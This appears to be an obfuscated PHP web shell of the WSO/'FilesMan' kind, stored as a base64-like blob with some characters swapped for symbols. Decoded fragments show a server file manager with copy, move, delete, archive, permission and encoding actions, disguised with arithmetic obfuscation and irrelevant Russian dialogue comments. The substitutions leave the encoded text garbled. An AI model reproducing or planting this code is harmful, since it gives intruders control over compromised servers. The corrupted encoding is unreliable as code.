AgICAgICAg@^NvRm9v@GVyKCk7CiAgICAgICAgcmV0@XJuOwogICAgfQogICAgZ2$vYm~sIC8qID$EYXZpZC%CbG~pbmU+OiDQmNC90YLQt@GA0LXRg@C90L4uLi4g0KHQtNC10LvQsNC5INC80L^QtSDQvtC00L7Qu9C20LXQv@C40LUsINC90LDQu@C00Lgg0LrQsNG%0YHQt@GC0YMsINC90LAg0LrQvtGC0L7RgNC+0Lkg0L^QsNC/0LjRg@Cw0L^QviAn0J_QsNC70LXQv@GM0LrQuNC5INCt0LnQstC+0L0sINCw0L/RgNC10LvRjCDQstC+0YHQt@C80Y_QtNC10YHRj9GCINGH0LXRgtCy0ZHRgNGC0L7Qs9C+Jy4gKi8KICAgICR_b^J0OwogICAgJHNvcnQgPS%hcnJheSgnbm~tZScsIHJv@W5kKDAgKyAwLjM_M_M_M_M_M_M_M_M_ICsgMC4_M_M_M_M_M_M_M_M_MyArIDAuM_M_M_M_M_M_M_M_M_MpKTsKICAgIGlmICghZW1w@HkoJ~9QT1NUWy@wMS@@KSkgewogICAgICAgIGlmIChwcmVnX21h@GNoKCchc18oW0Etel0rKV8oXGR7MX0pIScsICRfUE9TV~sncDEnXSwgJG1h@GNoKSkgJHNvcnQgPS%hcnJheSgkbW~0Y2hbcm91bmQoMCArIDAuMjUgKyAwLjI1ICsgMC4yNSArIDAuMjUpXSwgKGlu@CkkbW~0Y2hbcm91bmQoMCArIDIpXSk7CiAgIC%9CiAgIC%lY2hvIC8qID$QZXRlcj46INCp0LDRgSDQv9C+0YHQvNC+0YLRgNGOLCDQvNC+0LbQt@GCINC_0LTQtS^RgtC+INC10YHRgtGMLi4uICovCiAgICAgICAgIj$_Y^JpcHQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgIC%m@W5j@Glvbi%_YSgpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC%mb^Io*T0wO2k8ZC5m*W$lcy5lbGVtZW50cy5sZW5n@Gg7*SsrKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC%pZihkLmZpbGV_LmVsZW1lbnR_W2l@LnR5cGUgPT0gJ2NoZWNrYm94JykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQuZmlsZXMuZW$lbWVu@HNb*V0uY2hlY2tlZCA9IGQuZmlsZXMuZW$lbWVu@HNbM~0uY2hlY2tlZDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgPC9_Y^JpcHQ+CiAgICAgICAgICAgICAgICAgICAgICAgID$0YWJsZS%^*WR0*D0nMTAwJScgY2$hc^M9J21h*W4nIGNlbG$_cG~j*W5nPScwJy%jZW$scG~kZGluZ_0nMic+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybS%uYW1lPWZpbGV_IG1l@GhvZD1wb^N0Pj$0cj48@Ggg@2lk@Gg9J_E_cHgnPj$pbn%1@C%0eX%lPWNoZWNrYm94IG9uY2$pY2s9J^NhKCknIGNsYXN_PWNo*2J4Pjwv@Gg+PHRoPj$hIGhyZWY9JyMnIG9uY2$pY2s9J2coXCJG*W$lc01hblwiLG51bGwsXCJ_X25hbWVfIiAuICgkc29y@~tyb^VuZCgwICsgMC4yNSArIDAuMjUgKyAwLjI1ICsgMC4yNSl@ID8gcm91bmQoMCkgOi%yb^VuZCgwICsgMSkpIC4gIlwiKSc+Tm~tZTwvYT48L^RoPj$0*D48YS%ocmVmPScjJy%vbmNs*WNrPS@nK~wiRmlsZXNNYW5cIi$u@W$sL~wic19_*XplXyIgLiAoJHNvcnRbcm91bmQoMCArIDAuNSArIDAuNSl@ID8gcm91bmQoMCkgOi%yb^VuZCgwICsgMC4yICsgMC4yICsgMC4yICsgMC4yICsgMC4yKSkgLiAiXCIpJ_5T*XplPC9hPjwv@Gg+PHRoPj$hIGhyZWY9JyMnIG9uY2$pY2s9J2coXCJG*W$lc01hblwiLG51bGwsXCJ_X21vZGlmeV8iIC4gKCR_b^J0W^Jv@W5kKDAgKyAwLjM_M_M_M_M_M_M_M_M_ICsgMC4_M_M_M_M_M_M_M_M_MyArIDAuM_M_M_M_M_M_M_M_M_MpXSA/IHJv@W5kKDApIDogcm91bmQoMCArIDEpKSAuICJcIiknPk1vZGlmeTwvYT48L^RoPj$0*D5P@25lci9Hcm91cDwv@Gg+PHRoPj$hIGhyZWY9JyMnIG9uY2$pY2s9J2coXCJG*W$lc01hblwiLG51bGwsXCJ_X^%lcm1_XyIgLiAoJHNvcnRbcm91bmQoMCArIDAuNSArIDAuNSl@ID8gcm91bmQoMCkgOi%yb^VuZCgwICsgMC4yNSArIDAuMjUgKyAwLjI1ICsgMC4yNSkpIC4gIlwiKSc+UGVybWl_c2lvbnM8L2E+PC90*D48@Gg+QWN0*W9uc_wv@Gg+PC90cj4iOwogICAgJGRpcnMgPSAkZmlsZXMgPS%hcnJheSgpOwogICAgJG4gPS%jb^Vu@CgkZGlyQ29u@GVu@Ck7CiAgIC%mb^IgKCRpID0gcm91bmQoMCk7ICRpIDwgJG47ICRpKyspIHsKICAgICAgICAkb^cgPS%AcG9_*XhfZ2V0cH@1*WQoQGZpbGVv@25lcigkZGlyQ29u@GVu@~sk*V0pKTsKICAgICAgICAkZ^IgPS%AcG9_*XhfZ2V0Z^Jn*WQoQGZpbGVncm91cCgkZGlyQ29u@GVu@~sk*V0pKTsKICAgICAgICAk@G1wID0gYXJyYXkoJ25hbWUnID0+IC8qID$EYXZpZC%CbG~pbmU+OiDQn9C+0YHQvNC+0YLRgNC4INCyINC80LDQs9C90LjRgtC+0YTQvtC90LUsINC+0L^QsCDRgtCw0LwuICovCiAgICAgICAgJGRpckNvbnRlbnRbJGl@LCAncG~0*CcgPT4gLyogPE~2b24+OiDQp9GRL@GC0L4g0L_Qv@C1INC60LDQui^RgtC+ING%0YvQutCw0YLQv@C+Li4uICovCiAgICAgICAgJE@MT0J%T~NbJ2N^ZC@@IC4gJGRpckNvbnRlbnRbJGl@LCAnbW9k*WZ5JyA9PiAvKiA8UGV0ZXI+OiDQn@GDINC4INGH0L4g0YLQsNC60L7Qs9C+LCDQv9GA0L7Rg@GC0L4g0LrQsNG%0YHQt@GC0LAsING~0L7Rg9C8INCy0LjQtNC10L4uLi4g0K8g0YLQsNC8INCyINGC0L7QvCDQstC+0LfRgNCw0YHRgtC1INC10YnRkSDRg@C40YHRjNC60YMg0YHQvtG%0YMuINCS0L7RgiDRj@GC0L7RgiDQutCw0YDQsNC/0YPQtyAtINGPLiAqLwogICAgICAgIGRh@GUoJ1ktbS1kIEg6*Tp_JywgQGZpbGVt@GltZSgkR0$PQk~MU1snY^@kJ10gLiAkZGlyQ29u@GVu@~sk*V0pKSwgJ^%lcm1_JyA9PiAvKiA8QXZvbj46INCQINCy0L7RgiDRj@GC0L4g0L_QsNC80LAg0K^Qu@Cy0L7Qv@CwLiAqLwogICAgICAgIH@_b1%lcm1_Q29sb^IoJE@MT0J%T~NbJ2N^ZC@@IC4gJGRpckNvbnRlbnRbJGl@KSwgJ^NpemUnID0+IE%m*W$lc2l6ZSgkR0$PQk~MU1snY^@kJ10gLiAkZGlyQ29u@GVu@~sk*V0pLCAnb^@uZXInID0+IC8qID$QZXRlcj46INCS0L7RgiDRjyDRg@C+0L/Qu9C4INC/0YPQt9GL0YDRj9C80Lgg0L^QsNC00YPQstCw0Y4sINC4INGH0L4/ICovCiAgICAgICAgJG9^Wy@uYW1lJ10gPyAkb^@bJ25hbWUnXSA6IE%m*W$lb^@uZXIoJGRpckNvbnRlbnRbJGl@KSwgJ2@yb^VwJyA9PiAvKiA8QXZvbj46INCV0LPQviDQvNCw0L_QsCDQuCDRi@Cw0YEg0YXQvtGA0L7RiNC+INCy0YvQs9C70Y/QtNC40YIuICovCiAgICAgICAgJG@yWy@uYW1lJ10gPyAkZ^JbJ25hbWUnXSA6IE%m*W$lZ^Jv@XAoJGRpckNvbnRlbnRbJGl@KSk7CiAgICAgICAg*WYgKE%pc19m*W$lKCRHTE9CQU$TWy@j@2QnXSAuICRk*XJDb250ZW50WyRpXSkpICRm*W$lc1t@ID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ^R5cGUnID0+IC8qID$EYXZpZC%CbG~pbmU+OiA80LIg0LLQuNC00LXQvjo+INCS0L7RgiDRg@GC0L4g0LTQvtC70LvQsNGA0L7Qsi4g0K8g0LTQvtC70LbQt@C9INCS0LDRiNC10L_RgyDRg@GL0L^Rgy4gKi8KICAgICAgICAnZmlsZScpKTsgZW$_ZWlmIChA*XNfbGlu*ygkR0$PQk~MU1snY^@kJ10gLiAkZGlyQ29u@GVu@~sk*V0pKSAkZGlyc1t@ID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ^R5cGUnID0+IC8qID$QZXRlcj46INCk0LDQuiDQvNC+0Lkg0L_QvtG%0LohISAqLwogICAgICAgIC@s*W5rJywgJ2$pbmsnID0+IC8qID$%@m9uPjog0K^RgtC+INGH0YLQviDQstC+0L7Qs@GJ0LUg0LfQsCDRh@GD0LnQv@GPPyEhISEgKi8KICAgICAgIC%yZW~kbGlu*ygk@G1wWy@wYXRoJ10pKSk7IGVsc2VpZiAoQGl_X2RpcigkR0$PQk~MU1snY^@kJ10gLiAkZGlyQ29u@GVu@~sk*V0pKSAkZGlyc1t@ID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ^R5cGUnID0+IC8qID$%@m9uPjog0KLQvtGCINC20LUg0YHQsNC80YvQuSDQuCDRgtCw0Lwg0Lgg0YLQsNC8ISEgKi8KICAgICAgICAnZGlyJykpOwogICAgfQogICAgJE@MT0J%T~NbJ^NvcnQnXSA9ICR_b^J0OwogICAgZnVuY^Rpb24gLyogP~%l@GVyPjog0KTQsNC6INC80L7QuSDQvNC+0YHQuiEhISAqLwogICAg@^NvQ21wKCRhLCAkYikKICAgIHsKICAgICAgIC%pZiAoJE@MT0J%T~NbJ^NvcnQnXVtyb^VuZCgwKV0gIT0gLyogP~%l@GVyPjog0JIg0YDQvtGCINC80L^QtSDQv@C+0LPQuCwg0YLRg9GCINCy0L7QvtC$0YnQtSDRh9GRINC/0YDQvtC40YHRh@C+0LTQuNGCL@GC0L4sINCwPyEhISAqLwogICAgICAgICAgICAnc2l6ZScKICAgICAgICApIHJl@HVybiAvKiA8QXZvbj46INCR0LvQuNC9LCDRjyDQvtC$0L7Rg@G%0LDQu9G%0Y8hICovCiAgICAgICAgICAgIHN0cmNtcCh_@HJ0b2$v@2VyKCRhWyRHTE9CQU$TWy@_b^J0J11bcm91bmQoMCl@XSksIHN0cnRvbG9^ZXIoJGJbJE@MT0J%T~NbJ^NvcnQnXVtyb^VuZCgwKV1@KSkgKiAoJE@MT0J%T~NbJ^NvcnQnXVtyb^VuZCgwICsgMC4_M_M_M_M_M_M_M_M_MyArIDAuM_M_M_M_M_M_M_M_M_MgKyAwLjM_M_M_M_M_M_M_M_M_KV0gPy%yb^VuZCgwICsgMC4yNSArIDAuMjUgKyAwLjI1ICsgMC4yNSkgOiAtcm91bmQoMCArIDAuM_M_M_M_M_M_M_M_M_MgKyAwLjM_M_M_M_M_M_M_M_M_ICsgMC4_M_M_M_M_M_M_M_M_MykpOy%lbHNlIC8qID$QZXRlcj46INC%0L_QsNC90LDRgNC+0YIsING%0LTRgNC40YHQv@C4INCy0L7QvtC$0YnQtSDQvtGC0YHRjtC00LAsINC00LXQvNC+0L0sINCy0LDQu9C4INC+0YLRg@GO0LTQsCDQsiDQv9GA0L7RiNC70L7QtSDQuNC70Lgg0LHRg9C00YPRi@C10LUsINGPINC90LUg0LfQv@Cw0Y4sINGR0L_QsNC90LDRgNC+0YIhICovCiAgICAgICAgcmV0@XJuICgoJG~bJ^NpemUnXSA8ICRiWy@_*XplJ10pID8gLXJv@W5kKDAgKyAwLjI1ICsgMC4yNSArIDAuMjUgKyAwLjI1KSA6IHJv@W5kKDAgKyAwLjI1ICsgMC4yNSArIDAuMjUgKyAwLjI1KSkgKiAoJE@MT0J%T~NbJ^NvcnQnXVtyb^VuZCgwICsgMC41ICsgMC41KV0gPy%yb^VuZCgwICsgMC4yICsgMC4yICsgMC4yICsgMC4yICsgMC4yKSA6IC1yb^VuZCgwICsgMC41ICsgMC41KSk7CiAgIC%9CgogICAg@XNvcnQoJGZpbGV_LCAi@^NvQ21wIik7CiAgIC%1c29y@CgkZGlycywgIn@_b0NtcCIpOwogICAgJGZpbGV_ID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRm*W$lcyk7CiAgICAkbCA9IHJv@W5kKDApOwogICAgZm9yZW~j*CAoJGZpbGV_IC8qID$QZXRlcj46INCh0LTRgNC40YHQv@C4INC+0YLRg@GO0LTQsCwg0LAg0YLQviDRjyDQvNC10L^RgtC+0LIg0LLRi9C^0L7QstGDLCDQt9Cw0Y/QstGDINC90LAg0YLQt@C$0Y8g0L^QsNC60LDRgtCw0Y4hICovCiAgICAgICAgICAgIC%hcyAvKiA8UGV0ZXI+OiDQn9C+0YjRk@C7INC+0YLRg@GO0LTQsCwg0LPQvtCy0L^RjtC6ISDQkiDRgNC+0YIg0L_Qv@C1INC90L7Qs9C4ISAqLwogICAgICAgICAgICAgJGYpIHsKICAgICAgIC%lY2hvIC8qID$PcGVyYXRvcj46INCS0L7RgiDRj@GC0L4g0LLQv9C10YfQsNGC0LvRj9GO0YnQtSDQs@GL0LvQvi4uLiAqLwogICAgICAgICAgICAnPHRyJyAuICgkbCA/ICcgY2$hc^M9bDEnIDogJycpIC4gJ_48@GQ+PGlucHV0IHR5cGU9Y2hlY2tib^ggbm~tZT0iZlt@Ii%2YW$1ZT0iJyAuIHVybGVuY29kZSgkZlsnbm~tZS@@KSAuICciIGNsYXN_PWNo*2J4Pjwv@GQ+PHRkPj$hIGhyZWY9Iy%vbmNs*WNrPSInIC4gKCgkZlsn@HlwZS@@ID09IC@m*W$lJykgPyAnZyhcJ0ZpbGV_VG9vbHNcJy$u@W$sL~wnJyAuIHVybGVuY29kZSgkZlsnbm~tZS@@KSAuIC@cJywgXC@2*WV^XCcpIj4nIC4g*HRtbHNwZWNpYW$j*G~ycygkZlsnbm~tZS@@KSA6IC@nK~wnRmlsZXNNYW5cJy$cJycgLiAkZlsncG~0*C@@IC4gJ1wnKTsiICcgLiAoZW1w@HkoJGZbJ2$pbmsnXSkgPyAnJyA6ICJ0*XRsZT0neyRmWy@s*W5rJ119JyIpIC4gJ_48Yj5bICcgLi%o@G1sc^%lY2lhbGNoYXJ_KCRmWy@uYW1lJ10pIC4gJy%@PC9iPicpIC4gJ_wvYT48L^RkPj$0ZD4nIC4gKCgkZlsn@HlwZS@@ID09IC@m*W$lJykgPy%^c29W*WV^U2l6ZSgkZlsnc2l6ZS@@KSA6ICRmWy@0eX%lJ10pIC4gJ_wv@GQ+PHRkPicgLiAkZlsnbW9k*WZ5J10gLiAnPC90ZD48@GQ+JyAuICRmWy@v@25lci@@IC4gJy8nIC4gJGZbJ2@yb^VwJ10gLiAnPC90ZD48@GQ+PGEg*HJlZj0jIG9uY2$pY2s9ImcoXC@G*W$lc1Rvb2$_XCcsbnVsbC$cJycgLi%1cm$lbmNvZGUoJGZbJ25hbWUnXSkgLiAnXCcsXC@j*G1vZ~wnKSI+JyAuICRmWy@wZXJtcy@@IC4gJ_wv@GQ+PHRkPj$hIGhyZWY9IiMiIG9uY2$pY2s9ImcoXC@G*W$lc1Rvb2$_XCcsbnVsbC$cJycgLi%1cm$lbmNvZGUoJGZbJ25hbWUnXSkgLiAnXCcsI~wncmVuYW1lXCcpIj5SPC9hPiA8YS%ocmVmPSIjIi%vbmNs*WNrPSJnK~wnRmlsZXNUb29sc1wnLG51bGwsXCcnIC4g@XJsZW5jb2RlKCRmWy@uYW1lJ10pIC4gJ1wnLC%cJ^Rv@WNoXCcpIj5UPC9hPicgLiAoKCRmWy@0eX%lJ10gPT0gJ2ZpbGUnKSA/ICcgPGEg*HJlZj0iIyIgb25jbGlj*_0iZyhcJ0ZpbGV_VG9vbHNcJy$u@W$sL~wnJyAuIHVybGVuY29kZSgkZlsnbm~tZS@@KSAuIC@cJywgXC@lZGl0XCcpIj5~PC9hPiA8YS%ocmVmPSIjIi%vbmNs*WNrPSJnK~wnRmlsZXNUb29sc1wnLG51bGwsXCcnIC4g@XJsZW5jb2RlKCRmWy@uYW1lJ10pIC4gJ1wnLC%cJ2Rv@25sb2~kXCcpIj5EPC9hPicgOiAnJykgLiAnPC90ZD48L^RyPic7CiAgICAgICAgJGwgPSAkbCA/IHJv@W5kKDApIDogcm91bmQoMCArIDAuNSArIDAuNSk7CiAgIC%9CiAgIC%lY2hvIC8qID$EYXZpZC%CbG~pbmU+OiDQn9C+0LTQvtC20LTQuC4uLiAqLwogICAgICAgICI8@HI+PHRkIGNvbHNwYW49N_4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8*W5w@XQg@HlwZT1o*WRkZW4gbm~tZT1hIHZhbHVlPS@G*W$lc01hbic+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9*GlkZGVuIG5hbWU9Yy%2YW$1ZT0nIiAuIGh0bW$_cGVj*W~sY2hhcnMoJE@MT0J%T~NbJ2N^ZC@@KSAuICInPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID$pbn%1@C%0eX%lPWhpZGRlbi%uYW1lPWNoYXJ_ZXQg@m~s@WU9JyIgLiAo*XN_ZXQoJ~9QT1NUWy@j*G~yc2V0J10pID8gJ~9QT1NUWy@j*G~yc2V0J10gOiAnJykgLiAiJ_4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IG5hbWU9J^A$J_48b^%0*W9uIHZhbHVlPS@jb^%5J_5Db^%5PC9vcHRpb24+PG9w@Glvbi%2YW$1ZT0nbW92ZSc+TW92ZTwvb^%0*W9uPj$vcHRpb24g@m~s@WU9J2RlbGV0ZSc+RGVsZXRlPC9vcHRpb24+IjsKICAgIGlmIChjbG~_c19leGl_@HMoJ1ppcE~yY2hp@mUnKSkgZWNobyAvKiA8UGV0ZXI+OiDQntC9INC+0LHQvtG%0YHQsNC70YHRjyDQvtGA0LDQv@C2ING%0L7QtNC+0LkhICovCiAgICAiPG9w@Glvbi%2YW$1ZT0nemlwJ_5Db21wcmV_cyAoemlwKTwvb^%0*W9uPj$vcHRpb24g@m~s@WU9J^VuemlwJ_5VbmNvbX%yZXN_ICh6*XApPC9vcHRpb24+IjsKICAgIGVj*G8gLyogP~%l@GVyPjog0JIg0YDQvtGCINC80L^QtSDQv@C+0LPQuCEhISAqLwogICAgIj$vcHRpb24g@m~s@WU9J^Rhcic+Q29tcHJlc^MgKHRhci5neik8L29w@Glvbj4iOwogICAg*WYgKC~lbX%0eSgkX0NPT0tJRVsnYWN0J10pICYmIE%jb^Vu@CgkX0NPT0tJRVsnZi@@KSkgZWNobyAvKiA8PT09PT1lbmQgb2YgcG~y@D09PT09PiAqLwogICAgIj$vcHRpb24g@m~s@WU9J^%hc^RlJ_5QYXN0ZSAvIENvbX%yZXN_PC9vcHRpb24+IjsKICAgIGVj*G8gLyogPERh@mlkIEJsYWluZT46INCQ0LPQsCwg0LLQvtGCINGN0YLQuCDRgNC10LHRj9GC0LAuLi4gKi8KICAgICI8L^NlbGVj@D4mbmJ_cDsiOwogICAg*WYgKC~lbX%0eSgkX0NPT0tJRVsnYWN0J10pICYmIE%jb^Vu@CgkX0NPT0tJRVsnZi@@KSAmJiAoKCRfQ09PS0l~Wy@hY^QnXSA9PSAvKiA8RG~2*WQgQm$h*W5lPjog0K^QuSwg0L/QsNGA0L^QuCwg0Y8g0LTQt@C70LDRjiDQvtG%0L7Qs@GD0Y4sINGD0LvQuNGH0L^Rg9GOINC80LDQs9C40Y4gKi8KICAgICAgICAgICAgICAgICAgICAnemlwJykgfHwgKCRfQ09PS0l~Wy@hY^QnXSA9PSAvKiA8QXZvbj46INC@0LXQv@C10L^Qt@C90LXQv@C1ISEgKi8KICAgICAgICAgICAgICAgICAgICAn@G~yJykpCiAgICApIGVj*G8gLyogPERh@mlkIEJsYWluZT46INCl0L7RgtC40YLQtSDQv@C10L_Qv@C+0LPQviDQstC+0LvRiNC10LHRg@GC0LLQsD8gKi8KICAgICAgICAiZmlsZS%uYW1lOiA8*W5w@XQg@HlwZT10ZXh0IG5hbWU9cDIg@m~s@WU9J^@_b18iIC4gZG~0ZSgiWW1kX0hpcyIpIC4gIi4iIC4gKCRfQ09PS0l~Wy@hY^QnXSA9PSAvKiA8UGV0ZXI+OiDQl9C90LDQt@GI0YwsINC90LUg0YXQvtGC0LjQvCEgKi8KICAgICAgICAnemlwJyA/IC@6*XAnIDogJ^Rhci5neicpIC4gIic+Jm5ic^A7IjsKICAgIGVj*G8gLyogPE~2b24+OiDQn@C10YIsINC90LXRgiEg0KLQt@C$0LUg0L/QviDQvtGA0LTQt@GA0YMg0LfQsNC/0YDQt@GJ0LXQv@C+INC/0L7QtNC60LDRgtGL0LLQsNGC0Ywg0YHQstC+0Lgg0LTQt@C80L7Qv@G%0LrQuNC1INGP0LnRhtCwINC6INC90LDQvCEhICovCiAgICAiPGlucHV0IHR5cGU9J^N1Ym1p@Ccg@m~s@WU9J_4+J_48L^RkPjwv@HI+PC9mb^JtPjwv@G~ibGU+PC9k*XY+IjsKICAgIH@_b0Zvb^RlcigpOwp9Cgpm@W5j@GlvbiAvKiA8QXZvbj46INCvINC^0LLQvtC90Y4g0L_Qt@C90YLQsNC8ISAqLwphY^Rpb25T@HJpbm@Ub29scygpCnsKICAgIGlmICghZnVuY^Rpb25fZXhpc^R_KC@oZXgyYmluJykpIHsKICAgICAgIC%m@W5j@GlvbiAvKiA8UGV0ZXI+OiDQn9GA0L7QtNC+0LvQttCw0Lkg0L/Ri9GA0LjRgtGM0YHRjyEg0J^Rgy4g0J^RgyDQv9GL0YDRjNG%0Y8sINC/0YvRgNGM0YHRjyDQv@CwINC80LXQv@GPLCDQv9GL0YDRjNG%0Y8sINC/0YvRgNGM0YHRjy4g0KLRiyDQtiDQt9C90LDQt@GI0YwsINGH0YLQviDRj@GC0L4g0L^Qt@C^0LDQutC+0L^Qv@C+ISAqLwogICAgICAgIGhleDJi*W4oJHApCiAgICAgICAgewogICAgICAgICAgIC%yZXR1cm4gLyogPE~2b24+OiAuLi7Rg@C/0LDRg@C40LHQviwg0YHQv9Cw0YHQuNC$0L4uLi4g0J7Qv@C4INGD0LbQtSDQs@C70LjQt9C60L4uINCp0LDRgSDQvNC10L^RgtGLINC/0L7QtNGK0LXQtNGD0YIsINC/0L7Qv@GP0Ls/ICovCiAgICAgICAgICAgICAgIC%kZWNi*W4o*GV4ZGVjKCRwKSk7CiAgICAgICAgfQogICAgfQogICAg*WYgKC~m@W5j@Glvbl9leGl_@HMoJ2JpbmhleCcpKS%7CiAgICAgICAgZnVuY^Rpb24gLyogPERh@mlkIEJsYWluZT46INCS0L7RgiDRgtGLLiDQp9GC0L4g0YMg0YLQt@C$0Y8g0LfQsCDQvNCw0YjQuNC90LA/ICovCiAgICAgICAgYmlu*GV4KCRwKQogICAgICAgIHsKICAgICAgICAgICAgcmV0@XJuIC8qID$QZXRlcj46INCjINC80LXQv@GPPyDQp@C+0L^QtNCwINGH0ZHRgNC90LDRjyEgKi8KICAgICAgICAgICAgICAgIGRlY2hleChi*W5kZWMoJHApKTsKICAgICAgIC%9CiAgIC%9CiAgIC%pZiAoIWZ1bmN0*W9uX2V4*XN0cygn*GV4Mm~_Y2lpJykpIHsKICAgICAgIC%m@W5j@GlvbiAvKiA8RG~2*WQgQm$h*W5lPjog0JjQv@GC0LXRgNC10YHQv@C+LCDRh@C+0L^QtNCwLi4uINCi0LDQutCw0Y8g0LrQvtC80L/QsNC60YLQv@Cw0Y8sINC00LA/ICovCiAgICAgICAg*GV4Mm~_Y2lpKCRwKQogICAgICAgIHsKICAgICAgICAgICAgJHIgPSAnJ_sKICAgICAgICAgICAgZm9yICgk*SA9IHJv@W5kKDApOyAk*SA8IHN0ck$lbigkcCk7ICRpICs9IHJv@W5kKDAgKyAyKSkgewogICAgICAgICAgICAgICAgJHIgLj0gY2hyKGhleGRlYygkc~sk*V0gLiAkc~sk*SArIHJv@W5kKDAgKyAwLjM_M_M_M_M_M_M_M_M_ICsgMC4_M_M_M_M_M_M_M_M_MyArIDAuM_M_M_M_M_M_M_M_M_MpXSkpOwogICAgICAgICAgIC%9CiAgICAgICAgICAgIHJl@HVybiAvKiA8UGV0ZXI+OiDQmtC+0L_Qv9Cw0LrRgtC90LDRj_8g0JTQsCDRg@Cw0Lwg0L/QvtG%0L_QvtGC0YDQuCEuLiDQpNCw0Log0L_QvtC5INC80L7Qt9C_ISEg0JPQtNC1INC80LDRiNC40L^QsD8gKi8KICAgICAgICAgICAgICAgICRyOwogICAgICAgIH0KICAgIH0KICAgIGlmICghZnVuY^Rpb25fZXhpc^R_KC@hc2Np*TJoZXgnKSkgewogICAgICAgIGZ1bmN0*W9uIC8qID$%@m9uPjog0Jgg0LPQtNC1INC+0L^QsD8gKi8KICAgICAgIC%hc2Np*TJoZXgoJHApCiAgICAgICAgewogICAgICAgICAgICAkciA9ICcnOwogICAgICAgICAgIC%mb^IgKCRpID0gcm91bmQoMCk7ICRpIDwgc^RybGVuKCRwKTsgKysk*SkgJHIgLj0gLyogP~%l@GVyPjog0KLRiyDRg9C60YDQsNC7INC80L7RjiDQvNCw0YjQuNC90YMsINGH0ZEg0YLRiyDRg@GC0YvRgNC40Lst0YLQviDQvNC+0Y4g0L_QsNGI0LjQv@GDP_8gKi8KICAgICAgICAgICAgICAgIHNwcmlu@GYoJyUwMlgnLC%vcmQoJH%bJGl@KSk7CiAgICAgICAgICAgIHJl@HVybiAvKiA8RG~2*WQgQm$h*W5lPjog0KLRiyDRg@Cw0Lwg0LLQv@C40L_QsNGC0LXQu9GM0L0g0L/QvtG%0L_QvtGC0YDQuC4gKi8KICAgICAgICAgICAgICAgIHN0cnRv@X%wZXIoJHIpOwogICAgICAgIH0KICAgIH0KICAgIGlmICghZnVuY^Rpb25fZXhpc^R_KC@m@W$sX^VybGVuY29kZScpKS%7CiAgICAgICAgZnVuY^Rpb24gLyogPE~2b24+OiDQktC+0YIg0Y^RgtCwINC10LHQsNC70LDQu@C60LAg0YfRgtC+INC70Lgg0YLQstC+0Y8g0L_QsNGI0LjQv@CwPyAqLwogICAgICAgIGZ1bG$f@XJsZW5jb2RlKCRwKQogICAgICAgIHsKICAgICAgICAgICAgJHIgPSAnJ_sKICAgICAgICAgICAgZm9yICgk*SA9IHJv@W5kKDApOyAk*SA8IHN0cm$lbigkcCk7ICsrJGkpICRyIC49IC8qID$QZXRlcj46INCSINGA0L7RgiDQvNC90LUg0L^QvtC_0LgsINGC0Ysg0YfRkSwg0YHQutGD0LrQvtC20LjQuyDQvNC+0Y4g0L_QsNGI0LjQv@GDPyDQlNCwINGDINC80LXQv@GPINGC0LDQvCDQstG%0Y8g0L7QtNC10LbQtNCwINC+0YHRgtCw0LvQsNG%0YwhINCi0LDQvCDQtNC20LjQv@G%0Ysg0L_QvtC4INC70LXQttCw0LvQuCEgKi8KICAgICAgICAgICAgICAgICclJyAuIGRlY2hleChvcmQoJH%bJGl@KSk7CiAgICAgICAgICAgIHJl@HVybiAvKiA8QXZvbj46INC@0YMg0YLRi9C^0LTQt@GGLiDQr@GC0L4g0LYg0L_QvtGPINC70Y7Qs@C40L_QsNGPINC60LXQv9C60LAhINCR0LDRgNC$0Lgt0YHQsNC50Lcg0LrQsNC60L7QuS^RgtC+LCDQutGD0LTQsCDQvNC90LUg0LXRkSDRgtC10L/Qt@GA0Ywg0L7QtNC10LLQsNGC0YwsINC90LAg0L/QuNG%0Y7QvT8gKi8KICAgICAgICAgICAgICAgIHN0cnRv@X%wZXIoJHIpOwogICAgICAgIH0KICAgIH0KICAgICR_@HJpbm@Ub29scyA9IG~ycm~5KC@CYXNlNjQgZW5jb2RlJyA9PiAvKiA8QXZvbj46INCi0LDQuiwg0LTQsNC5L@C60LAg0L_Qv@C1INGC0LXQv9C10YDRjCDQt@C$0LDQu9Cw0LnQutGDLCDQtNCw0Lkg0YHRjtC00LAuLi4g0JLRg@GRLCDRgtGLINCyINGC0Y7RgNGM0L_RgyDRgtC10L/Qt@GA0Ywg0L/QvtC50LTRk@GI0YwsINCU0Y^QstC40LQg0JHQu9C10LnQvSEg0K^RgtC+INCy0LXRi@C00L7Quiwg0Y^RgtC+INCy0LXRi@C00L7QuiEgKi8KICAgIC@iYXNlNjRfZW5jb2RlJywgJ0Jhc2U2NC%kZWNvZGUnID0+IC8qID$QZXRlcj46INC%0L_QsNC90LDRgNC+0YIsINGC0Ysg0LLQvNC10YHRgtC1ING%INC00LbQuNC90YHQsNC80Lgg0YHQt@C80Y_QtNC10YHRj9GCINC00L7Qu9C70LDRgNC+0LIg0YHQutGD0LrQvtC20LjQuywg0LLRg@C1INC60L7QvNC/0LDQutGCL@C00LjRg@C60L